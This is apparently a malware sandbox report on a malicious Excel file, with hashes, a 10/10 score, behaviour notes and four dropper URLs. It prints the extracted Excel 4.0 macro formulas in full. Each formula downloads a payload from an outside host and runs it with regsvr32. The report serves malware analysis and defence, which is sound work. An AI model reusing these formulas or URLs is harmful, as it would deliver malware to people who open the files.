Overview

overview

10

Static

static

10

5ffa4cb3f7...46.xls

windows7-x64

10

5ffa4cb3f7...46.xls

windows10-2004-x64

10

Sharing

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General

  • Target
    5ffa4cb3f7db82c5db94ff5a288f132602383e285c9f110ba3b2eae848b2e946
  • Size 92KB
  • Sample230211-cs9tzadd2v
  • SHA256 5ffa4cb3f7db82c5db94ff5a288f132602383e285c9f110ba3b2eae848b2e946
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

  • http://www.muyehuayi.com/cmp/8asA99KPsyA/v6lUsWbLen/

  • http://concivilpa.com.py/wp-admin/i3CQu9dzDrMW/

  • https://wijsneusmedia.nl/cgi-bin/kFB/

  • http://www.angloextrema.com.br/assets/oEt1yYckHKlnNIq/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.muyehuayi.com/cmp/8asA99KPsyA/v6lUsWbLen/","..\elv1.ooocccxxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv1.ooocccxxx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://concivilpa.com.py/wp-admin/i3CQu9dzDrMW/","..\elv2.ooocccxxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv2.ooocccxxx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wijsneusmedia.nl/cgi-bin/kFB/","..\elv3.ooocccxxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv3.ooocccxxx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.angloextrema.com.br/assets/oEt1yYckHKlnNIq/","..\elv4.ooocccxxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\elv4.ooocccxxx") =RETURN()

Extracted

Language

  • xlm4.0

Source
URLs
  • xlm40.dropper

    http://www.muyehuayi.com/cmp/8asA99KPsyA/v6lUsWbLen/
  • xlm40.dropper

    http://concivilpa.com.py/wp-admin/i3CQu9dzDrMW/
  • xlm40.dropper

    https://wijsneusmedia.nl/cgi-bin/kFB/
  • xlm40.dropper

    http://www.angloextrema.com.br/assets/oEt1yYckHKlnNIq/

Targets

    • Target
      5ffa4cb3f7db82c5db94ff5a288f132602383e285c9f110ba3b2eae848b2e946
    • Size 92KB
    • SHA256 5ffa4cb3f7db82c5db94ff5a288f132602383e285c9f110ba3b2eae848b2e946
    • MD5 SHA1 SHA512 SSDEEP
    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks